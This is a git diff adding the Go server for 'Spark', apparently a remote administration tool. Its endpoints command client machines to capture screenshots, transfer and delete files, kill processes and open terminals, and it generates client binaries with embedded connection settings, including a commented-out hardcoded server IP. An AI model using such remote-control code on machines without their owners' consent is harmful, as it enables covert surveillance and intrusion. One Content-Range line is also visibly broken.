screenshots/overview.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

BIN
screenshots/procmgr.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

BIN
screenshots/terminal.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

140
server/common/common.go Normal file
View File

@@ -0,0 +1,140 @@
package common
import (
"Spark/modules"
"Spark/utils"
"Spark/utils/cmap"
"Spark/utils/melody"
"bytes"
"crypto/aes"
"crypto/cipher"
"net/http"
"time"
)
var Melody = melody.New()
var Devices = cmap.New()
var BuiltFS http.FileSystem
func SendPackUUID(pack modules.Packet, uuid string) bool {
session, ok := Melody.GetSessionByUUID(uuid)
if !ok {
return false
}
return SendPack(pack, session)
}
func SendPack(pack modules.Packet, session *melody.Session) bool {
if session == nil {
return false
}
data, err := utils.JSON.Marshal(pack)
if err != nil {
return false
}
data, ok := Encrypt(data, session)
if !ok {
return false
}
err = session.WriteBinary(data)
return err == nil
}
func Encrypt(data []byte, session *melody.Session) ([]byte, bool) {
temp, ok := session.Get(`Secret`)
if !ok {
return nil, false
}
secret := temp.([]byte)
dec, err := utils.Encrypt(data, secret)
if err != nil {
return nil, false
}
return dec, true
}
func Decrypt(data []byte, session *melody.Session) ([]byte, bool) {
temp, ok := session.Get(`Secret`)
if !ok {
return nil, false
}
secret := temp.([]byte)
dec, err := utils.Decrypt(data, secret)
if err != nil {
return nil, false
}
return dec, true
}
func WSHealthCheck(container *melody.Melody) {
const MaxInterval = 90
for now := range time.NewTicker(30 * time.Second).C {
timestamp := now.Unix()
// stores sessions to be disconnected
queue := make([]*melody.Session, 0)
container.IterSessions(func(uuid string, s *melody.Session) bool {
val, ok := s.Get(`LastPack`)
if !ok {
queue = append(queue, s)
return true
}
lastPack, ok := val.(int64)
if !ok {
queue = append(queue, s)
return true
}
if timestamp-lastPack > MaxInterval {
queue = append(queue, s)
}
return true
})
for i := 0; i < len(queue); i++ {
queue[i].Close()
}
}
}
func CheckDevice(deviceID string) (string, bool) {
connUUID := ``
Devices.IterCb(func(uuid string, v interface{}) bool {
device := v.(*modules.Device)
if device.ID == deviceID {
connUUID = uuid
return false
}
return true
})
return connUUID, len(connUUID) > 0
}
func EncAES(data []byte, key []byte) ([]byte, error) {
hash, _ := utils.GetMD5(data)
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
stream := cipher.NewCTR(block, hash)
encBuffer := make([]byte, len(data))
stream.XORKeyStream(encBuffer, data)
return append(hash, encBuffer...), nil
}
func DecAES(data []byte, key []byte) ([]byte, error) {
// MD5[16 bytes] + Data[n bytes]
dataLen := len(data)
if dataLen <= 16 {
return nil, utils.ErrEntityInvalid
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
stream := cipher.NewCTR(block, data[:16])
decBuffer := make([]byte, dataLen-16)
stream.XORKeyStream(decBuffer, data[16:])
hash, _ := utils.GetMD5(decBuffer)
if !bytes.Equal(hash, data[:16]) {
return nil, utils.ErrFailedVerification
}
return decBuffer[:dataLen-16], nil
}

10
server/config/config.go Normal file
View File

@@ -0,0 +1,10 @@
package config
type Cfg struct {
Listen string `json:"listen"`
Salt string `json:"salt"`
Auth map[string]string `json:"auth"`
StdSalt []byte `json:"-"`
}
var Config Cfg

View File

@@ -0,0 +1,16 @@
// Code generated by statik. DO NOT EDIT.
package built
import (
"github.com/rakyll/statik/fs"
)
const Built = "built" // static asset namespace
func init() {
data := "PK\x05\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
fs.RegisterWithNamespace("built", data)
}

File diff suppressed because one or more lines are too long

90
server/handler/event.go Normal file
View File

@@ -0,0 +1,90 @@
package handler
import (
"Spark/modules"
"Spark/utils/cmap"
"Spark/utils/melody"
"time"
)
type event struct {
connection string
callback eventCb
channel chan bool
}
type eventCb func(modules.Packet, *melody.Session)
var eventTable = cmap.New()
// evCaller 负责判断packet中的Callback字段如果存在该字段
// 就会调用event中的函数并在调用完成之后通过chan通知addOnceEvent调用方
func evCaller(pack modules.Packet, session *melody.Session) {
if pack.Data == nil {
return
}
v, ok := pack.Data[`callback`]
if !ok {
return
}
trigger, ok := v.(string)
if !ok {
return
}
v, ok = eventTable.Get(trigger)
if !ok {
return
}
ev := v.(*event)
if session != nil && session.UUID != ev.connection {
return
}
delete(pack.Data, `callback`)
ev.callback(pack, session)
if ev.channel != nil {
defer close(ev.channel)
select {
case ev.channel <- true:
default:
}
}
}
// addEventOnce 会添加一个一次性的回调命令client可以对事件成功与否进行回复
// trigger一般是uuid以此尽可能保证事件的独一无二
func addEventOnce(fn eventCb, connUUID, trigger string, timeout time.Duration) bool {
done := make(chan bool)
ev := &event{
connection: connUUID,
callback: fn,
channel: done,
}
eventTable.Set(trigger, ev)
defer eventTable.Remove(trigger)
select {
case <-done:
return true
case <-time.After(timeout):
return false
}
}
// addEvent 会添加一个持续的回调命令client可以对事件成功与否进行回复
// trigger一般是uuid以此尽可能保证事件的独一无二
func addEvent(fn eventCb, connUUID, trigger string) {
ev := &event{
connection: connUUID,
callback: fn,
channel: nil,
}
eventTable.Set(trigger, ev)
}
// removeEvent 会删除特定的回调命令
func removeEvent(trigger string) {
eventTable.Remove(trigger)
}
// hasEvent returns if the event exists.
func hasEvent(trigger string) bool {
return eventTable.Has(trigger)
}

269
server/handler/file.go Normal file
View File

@@ -0,0 +1,269 @@
package handler
import (
"Spark/modules"
"Spark/server/common"
"Spark/utils"
"Spark/utils/melody"
"fmt"
"github.com/gin-gonic/gin"
"io/ioutil"
"net/http"
"net/url"
"path"
"strconv"
"strings"
"time"
)
// removeDeviceFile will try to get send a packet to
// client and let it upload the file specified.
func removeDeviceFile(ctx *gin.Context) {
var form struct {
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
target := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
target, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
target = form.Conn
if !common.Devices.Has(target) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
common.SendPackUUID(modules.Packet{Code: 0, Act: `removeFile`, Data: gin.H{`path`: form.Path, `event`: trigger}}, target)
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
if p.Code != 0 {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
} else {
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}
}, target, trigger, 5*time.Second)
if !ok {
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
}
}
// listDeviceFiles will list files on remote client
func listDeviceFiles(ctx *gin.Context) {
var form struct {
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
connUUID := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
connUUID, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
connUUID = form.Conn
if !common.Devices.Has(connUUID) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
common.SendPackUUID(modules.Packet{Act: `listFiles`, Data: gin.H{`path`: form.Path, `event`: trigger}}, connUUID)
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
if p.Code != 0 {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
} else {
ctx.JSON(http.StatusOK, modules.Packet{Code: 0, Data: p.Data})
}
}, connUUID, trigger, 5*time.Second)
if !ok {
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
}
}
// getDeviceFile will try to get send a packet to
// client and let it upload the file specified.
func getDeviceFile(ctx *gin.Context) {
var form struct {
File string `json:"file" yaml:"file" form:"file" binding:"required"`
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
target := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
target, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
target = form.Conn
if !common.Devices.Has(target) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
partial := false
{
command := gin.H{`file`: form.File, `event`: trigger}
rangeHeader := ctx.GetHeader(`Range`)
if len(rangeHeader) > 6 {
if rangeHeader[:6] != `bytes=` {
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
return
}
rangeHeader = strings.TrimSpace(rangeHeader[6:])
rangesList := strings.Split(rangeHeader, `,`)
if len(rangesList) > 1 {
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
return
}
r := strings.Split(rangesList[0], `-`)
rangeStart, err := strconv.ParseInt(r[0], 10, 64)
if err != nil {
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
return
}
rangeEnd := int64(0)
if len(r[1]) > 0 {
rangeEnd, err = strconv.ParseInt(r[1], 10, 64)
if err != nil {
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
return
}
if rangeEnd < rangeStart {
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
return
}
command[`end`] = rangeEnd
}
command[`start`] = rangeStart
partial = true
}
common.SendPackUUID(modules.Packet{Code: 0, Act: `uploadFile`, Data: command}, target)
}
wait := make(chan bool)
called := false
addEvent(func(p modules.Packet, _ *melody.Session) {
called = true
removeEvent(trigger)
if p.Code != 0 {
wait <- false
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
return
} else {
val, ok := p.Data[`request`]
if !ok {
wait <- false
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `文件上传失败`})
return
}
req, ok := val.(*http.Request)
if !ok || req == nil || req.Body == nil {
wait <- false
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `文件上传失败`})
return
}
if req.ContentLength > 0 {
ctx.Header(`Content-Length`, strconv.FormatInt(req.ContentLength, 10))
}
ctx.Header(`Accept-Ranges`, `bytes`)
ctx.Header(`Content-Type`, `application/octet-stream`)
filename := ctx.GetHeader(`FileName`)
if len(filename) == 0 {
filename = path.Base(strings.ReplaceAll(form.File, `\`, `/`))
}
filename = url.PathEscape(filename)
ctx.Header(`Content-Disposition`, `attachment; filename* = UTF-8''`+filename+`;`)
if partial {
ctx.Header(`Content-Range`, fmt.Sprintf(`bytes %v-%v/%v`))
ctx.Status(http.StatusPartialContent)
} else {
ctx.Status(http.StatusOK)
}
for {
buffer := make([]byte, 8192)
n, err := req.Body.Read(buffer)
buffer = buffer[:n]
ctx.Writer.Write(buffer)
ctx.Writer.Flush()
if n == 0 || err != nil {
wait <- false
break
}
}
}
}, target, trigger)
select {
case <-wait:
case <-time.After(5 * time.Second):
if !called {
removeEvent(trigger)
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
} else {
<-wait
}
}
}
// putDeviceFile will be called by client.
// It will transfer binary stream from client to browser.
func putDeviceFile(ctx *gin.Context) {
original := ctx.Request.Body
ctx.Request.Body = ioutil.NopCloser(ctx.Request.Body)
errMsg := ctx.GetHeader(`Error`)
trigger := ctx.GetHeader(`Trigger`)
if len(trigger) == 0 {
original.Close()
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
if len(errMsg) > 0 {
evCaller(modules.Packet{
Code: 1,
Msg: fmt.Sprintf(`文件上传失败:%v`, errMsg),
Data: map[string]interface{}{
`callback`: trigger,
},
}, nil)
original.Close()
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
return
}
evCaller(modules.Packet{
Code: 0,
Data: map[string]interface{}{
`request`: ctx.Request,
`callback`: trigger,
},
}, nil)
original.Close()
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}

184
server/handler/generate.go Normal file
View File

@@ -0,0 +1,184 @@
package handler
import (
"Spark/modules"
"Spark/server/common"
"Spark/server/config"
"Spark/utils"
"bytes"
"encoding/hex"
"errors"
"fmt"
"github.com/gin-gonic/gin"
"math/big"
"net/http"
"strconv"
"strings"
)
type clientCfg struct {
Secure bool `json:"secure"`
Host string `json:"host"`
Port int `json:"port"`
Path string `json:"path"`
UUID string `json:"uuid"`
Key string `json:"key"`
}
var (
errTooLargeEntity = errors.New(`length of data can not excess buffer size`)
)
//func init() {
// clientUUID := utils.GetUUID()
// clientKey, _ := common.EncAES(clientUUID, append([]byte("XZB_Spark"), bytes.Repeat([]byte{25}, 24-9)...))
// cfg, _ := genConfig(clientCfg{
// Secure: false,
// Host: "47.102.136.182",
// Port: 1025,
// Path: "/",
// UUID: hex.EncodeToString(clientUUID),
// Key: hex.EncodeToString(clientKey),
// })
// output := ``
// temp := hex.EncodeToString(cfg)
// for i := 0; i < len(temp); i += 2 {
// output += `\x` + temp[i:i+2]
// }
// ioutil.WriteFile(`./Client.cfg`, []byte(output), 0755)
//}
func checkClient(ctx *gin.Context) {
var form struct {
OS string `json:"os" yaml:"os" form:"os" binding:"required"`
Arch string `json:"arch" yaml:"arch" form:"arch" binding:"required"`
Host string `json:"host" yaml:"host" form:"host" binding:"required"`
Port uint16 `json:"port" yaml:"port" form:"port" binding:"required"`
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
Secure string `json:"secure" yaml:"secure" form:"secure"`
}
if err := ctx.ShouldBind(&form); err != nil {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
_, err := common.BuiltFS.Open(fmt.Sprintf(`/%v_%v`, form.OS, form.Arch))
if err != nil {
ctx.JSON(http.StatusNotFound, modules.Packet{Code: 1, Msg: `该系统或架构的客户端尚未编译`})
return
}
_, err = genConfig(clientCfg{
Secure: form.Secure == `true`,
Host: form.Host,
Port: int(form.Port),
Path: form.Path,
UUID: strings.Repeat(`FF`, 16),
Key: strings.Repeat(`FF`, 32),
})
if err != nil {
if err == errTooLargeEntity {
ctx.JSON(http.StatusRequestEntityTooLarge, modules.Packet{Code: 1, Msg: `配置信息过长`})
return
}
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `配置文件生成失败`})
return
}
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}
func generateClient(ctx *gin.Context) {
var form struct {
OS string `json:"os" yaml:"os" form:"os" binding:"required"`
Arch string `json:"arch" yaml:"arch" form:"arch" binding:"required"`
Host string `json:"host" yaml:"host" form:"host" binding:"required"`
Port uint16 `json:"port" yaml:"port" form:"port" binding:"required"`
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
Secure string `json:"secure" yaml:"secure" form:"secure"`
}
if err := ctx.ShouldBind(&form); err != nil {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
tpl, err := common.BuiltFS.Open(fmt.Sprintf(`/%v_%v`, form.OS, form.Arch))
if err != nil {
ctx.JSON(http.StatusNotFound, modules.Packet{Code: 1, Msg: `该系统或架构的客户端尚未编译`})
return
}
clientUUID := utils.GetUUID()
clientKey, err := common.EncAES(clientUUID, config.Config.StdSalt)
if err != nil {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `配置文件生成失败`})
return
}
cfgBytes, err := genConfig(clientCfg{
Secure: form.Secure == `true`,
Host: form.Host,
Port: int(form.Port),
Path: form.Path,
UUID: hex.EncodeToString(clientUUID),
Key: hex.EncodeToString(clientKey),
})
if err != nil {
if err == errTooLargeEntity {
ctx.JSON(http.StatusRequestEntityTooLarge, modules.Packet{Code: 1, Msg: `配置信息过长`})
return
}
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `配置文件生成失败`})
return
}
ctx.Header(`Accept-Ranges`, `none`)
ctx.Header(`Content-Transfer-Encoding`, `binary`)
ctx.Header(`Content-Type`, `application/octet-stream`)
if stat, err := tpl.Stat(); err == nil {
ctx.Header(`Content-Length`, strconv.FormatInt(stat.Size(), 10))
}
if form.OS == `windows` {
ctx.Header(`Content-Disposition`, `attachment; filename=client.exe;`)
} else {
ctx.Header(`Content-Disposition`, `attachment; filename=client;`)
}
cfgBuffer := bytes.Repeat([]byte{'\x19'}, 384)
prevBuffer := make([]byte, 0)
for {
thisBuffer := make([]byte, 1024)
n, err := tpl.Read(thisBuffer)
thisBuffer = thisBuffer[:n]
tempBuffer := append(prevBuffer, thisBuffer...)
bufIndex := bytes.Index(tempBuffer, cfgBuffer)
if bufIndex > -1 {
tempBuffer = bytes.Replace(tempBuffer, cfgBuffer, cfgBytes, -1)
}
ctx.Writer.Write(tempBuffer[:len(prevBuffer)])
prevBuffer = tempBuffer[len(prevBuffer):]
if err != nil {
break
}
}
if len(prevBuffer) > 0 {
ctx.Writer.Write(prevBuffer)
prevBuffer = []byte{}
}
}
func genConfig(cfg clientCfg) ([]byte, error) {
data, err := utils.JSON.Marshal(cfg)
if err != nil {
return nil, err
}
key := utils.GetUUID()
data, err = common.EncAES(data, key)
if err != nil {
return nil, err
}
final := append(key, data...)
if len(final) > 384-2 {
return nil, errTooLargeEntity
}
dataLen := big.NewInt(int64(len(final))).Bytes()
dataLen = append(bytes.Repeat([]byte{'\x00'}, 2-len(dataLen)), dataLen...)
final = append(dataLen, final...)
for len(final) < 384 {
final = append(final, utils.GetUUID()...)
}
return final[:384], nil
}

242
server/handler/handler.go Normal file
View File

@@ -0,0 +1,242 @@
package handler
import (
"Spark/modules"
"Spark/server/common"
"Spark/utils"
"Spark/utils/melody"
"fmt"
"github.com/gin-gonic/gin"
"github.com/kataras/golog"
"net/http"
"time"
)
// APIRouter 负责分配各种API接口
func APIRouter(ctx *gin.RouterGroup, auth gin.HandlerFunc) {
ctx.PUT(`/device/screenshot/put`, putScreenshot)
ctx.PUT(`/device/file/put`, putDeviceFile)
ctx.Any(`/device/terminal`, initTerminal)
group := ctx.Group(`/`, auth)
{
group.POST(`/device/screenshot/get`, getScreenshot)
group.POST(`/device/process/list`, listDeviceProcesses)
group.POST(`/device/process/kill`, killDeviceProcess)
group.POST(`/device/file/remove`, removeDeviceFile)
group.POST(`/device/file/list`, listDeviceFiles)
group.POST(`/device/file/get`, getDeviceFile)
group.POST(`/device/list`, getDevices)
group.POST(`/device/:act`, callDevice)
group.POST(`/client/check`, checkClient)
group.POST(`/client/generate`, generateClient)
}
}
// putScreenshot 负责获取client发送过来的屏幕截图
func putScreenshot(ctx *gin.Context) {
errMsg := ctx.GetHeader(`Error`)
trigger := ctx.GetHeader(`Trigger`)
if len(trigger) == 0 {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
if len(errMsg) > 0 {
evCaller(modules.Packet{
Code: 1,
Msg: fmt.Sprintf(`截图失败:%v`, errMsg),
Data: map[string]interface{}{
`callback`: trigger,
},
}, nil)
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
return
}
data, err := ctx.GetRawData()
if len(data) == 0 {
msg := ``
if err != nil {
msg = fmt.Sprintf(`截图读取失败:%v`, err)
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: msg})
} else {
msg = `截图失败:未知错误`
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}
evCaller(modules.Packet{
Code: 1,
Msg: msg,
Data: map[string]interface{}{
`callback`: trigger,
},
}, nil)
return
}
evCaller(modules.Packet{
Code: 0,
Data: map[string]interface{}{
`screenshot`: data,
`callback`: trigger,
},
}, nil)
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}
// getScreenshot 负责发送指令给client让其截图
func getScreenshot(ctx *gin.Context) {
var form struct {
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
target := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
target, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
target = form.Conn
if !common.Devices.Has(target) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
common.SendPackUUID(modules.Packet{Code: 0, Act: `screenshot`, Data: gin.H{`event`: trigger}}, target)
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
if p.Code != 0 {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
} else {
data, ok := p.Data[`screenshot`]
if !ok {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `截图获取失败`})
return
}
screenshot, ok := data.([]byte)
if !ok {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `截图获取失败`})
return
}
ctx.Data(200, `image/png`, screenshot)
}
}, target, trigger, 5*time.Second)
if !ok {
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
}
}
// getDevices 负责获取所有device的基本信息
func getDevices(ctx *gin.Context) {
devices := make(map[string]modules.Device)
common.Devices.IterCb(func(uuid string, v interface{}) bool {
device, ok := v.(*modules.Device)
if ok {
devices[uuid] = *device
}
return true
})
ctx.JSON(http.StatusOK, modules.CommonPack{Code: 0, Data: devices})
}
// callDevice 负责把HTTP网关发送的请求转发给client
func callDevice(ctx *gin.Context) {
var form struct {
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
act := ctx.Param(`act`)
if ctx.ShouldBind(&form) != nil || len(act) == 0 || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
connUUID := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
connUUID, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
connUUID = form.Conn
if !common.Devices.Has(connUUID) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
common.SendPackUUID(modules.Packet{Act: act, Data: gin.H{`event`: trigger}}, connUUID)
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
if p.Code != 0 {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
} else {
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}
}, connUUID, trigger, 5*time.Second)
if !ok {
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
}
}
// WSDevice 负责处理client设备信息上报的事件
func WSDevice(data []byte, session *melody.Session) error {
var pack struct {
Code int `json:"code,omitempty"`
Act string `json:"act,omitempty"`
Msg string `json:"msg,omitempty"`
Device modules.Device `json:"data"`
}
err := utils.JSON.Unmarshal(data, &pack)
if err != nil {
golog.Error(err)
session.Close()
return err
}
addr, ok := session.Get(`Address`)
if ok {
pack.Device.WAN = addr.(string)
} else {
pack.Device.WAN = `Unknown`
}
if pack.Act == `report` {
// 查询设备列表中,该设备是否已经上线
// 如果已经上线就找到对应的session发送命令使其退出
exSession := ``
common.Devices.IterCb(func(uuid string, v interface{}) bool {
device := v.(*modules.Device)
if device.ID == pack.Device.ID {
exSession = uuid
target, ok := common.Melody.GetSessionByUUID(uuid)
if ok {
common.SendPack(modules.Packet{Act: `offline`}, target)
target.Close()
}
return false
}
return true
})
if len(exSession) > 0 {
common.Devices.Remove(exSession)
}
}
common.Devices.Set(session.UUID, &pack.Device)
if pack.Act == `setDevice` {
common.SendPack(modules.Packet{Act: `heartbeat`}, session)
} else {
common.SendPack(modules.Packet{Code: 0}, session)
}
return nil
}
// WSRouter 负责处理client回复的packet
func WSRouter(pack modules.Packet, session *melody.Session) {
evCaller(pack, session)
}

92
server/handler/process.go Normal file
View File

@@ -0,0 +1,92 @@
package handler
import (
"Spark/modules"
"Spark/server/common"
"Spark/utils"
"Spark/utils/melody"
"github.com/gin-gonic/gin"
"net/http"
"strconv"
"time"
)
// listDeviceProcesses will list processes on remote client
func listDeviceProcesses(ctx *gin.Context) {
var form struct {
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
connUUID := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
connUUID, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
connUUID = form.Conn
if !common.Devices.Has(connUUID) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
common.SendPackUUID(modules.Packet{Act: `listProcesses`, Data: gin.H{`event`: trigger}}, connUUID)
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
if p.Code != 0 {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
} else {
ctx.JSON(http.StatusOK, modules.Packet{Code: 0, Data: p.Data})
}
}, connUUID, trigger, 5*time.Second)
if !ok {
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
}
}
// killDeviceProcess will try to get send a packet to
// client and let it kill the process specified.
func killDeviceProcess(ctx *gin.Context) {
var form struct {
Pid int32 `json:"pid" yaml:"pid" form:"pid" binding:"required"`
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
Device string `json:"device" yaml:"device" form:"device"`
}
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
return
}
target := ``
trigger := utils.GetStrUUID()
if len(form.Conn) == 0 {
ok := false
target, ok = common.CheckDevice(form.Device)
if !ok {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
} else {
target = form.Conn
if !common.Devices.Has(target) {
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
return
}
}
common.SendPackUUID(modules.Packet{Code: 0, Act: `killProcess`, Data: gin.H{`pid`: strconv.FormatInt(int64(form.Pid), 10), `event`: trigger}}, target)
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
if p.Code != 0 {
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
} else {
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
}
}, target, trigger, 5*time.Second)
if !ok {
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
}
}

263
server/handler/terminal.go Normal file
View File

@@ -0,0 +1,263 @@
package handler
import (
"Spark/modules"
"Spark/server/common"
"Spark/utils"
"Spark/utils/cmap"
"Spark/utils/melody"
"crypto/aes"
"crypto/cipher"
"encoding/hex"
"github.com/gin-gonic/gin"
"net/http"
"time"
)
type terminal struct {
session *melody.Session
deviceConn *melody.Session
device string
termUUID string
eventUUID string
}
var terminals = cmap.New()
var wsTerminals = melody.New()
func init() {
wsTerminals.HandleConnect(func(session *melody.Session) {
device, ok := session.Get(`Device`)
if !ok {
simpleSendPack(modules.Packet{Act: `warn`, Msg: `终端创建失败`}, session)
session.Close()
return
}
val, ok := session.Get(`Terminal`)
if !ok {
simpleSendPack(modules.Packet{Act: `warn`, Msg: `终端创建失败`}, session)
session.Close()
return
}
termUUID, ok := val.(string)
if !ok {
simpleSendPack(modules.Packet{Act: `warn`, Msg: `终端创建失败`}, session)
session.Close()
return
}
connUUID, ok := common.CheckDevice(device.(string))
if !ok {
simpleSendPack(modules.Packet{Act: `warn`, Msg: `设备不存在或已经离线`}, session)
session.Close()
return
}
deviceConn, ok := common.Melody.GetSessionByUUID(connUUID)
if !ok {
simpleSendPack(modules.Packet{Act: `warn`, Msg: `设备不存在或已经离线`}, session)
session.Close()
return
}
eventUUID := utils.GetStrUUID()
terminal := &terminal{
session: session,
deviceConn: deviceConn,
device: device.(string),
termUUID: termUUID,
eventUUID: eventUUID,
}
terminals.Set(termUUID, terminal)
addEvent(eventWrapper(terminal), connUUID, eventUUID)
common.SendPack(modules.Packet{Act: `initTerminal`, Data: gin.H{
`event`: eventUUID,
`terminal`: termUUID,
}}, deviceConn)
})
wsTerminals.HandleMessage(onMessage)
wsTerminals.HandleMessageBinary(onMessage)
wsTerminals.HandleDisconnect(func(session *melody.Session) {
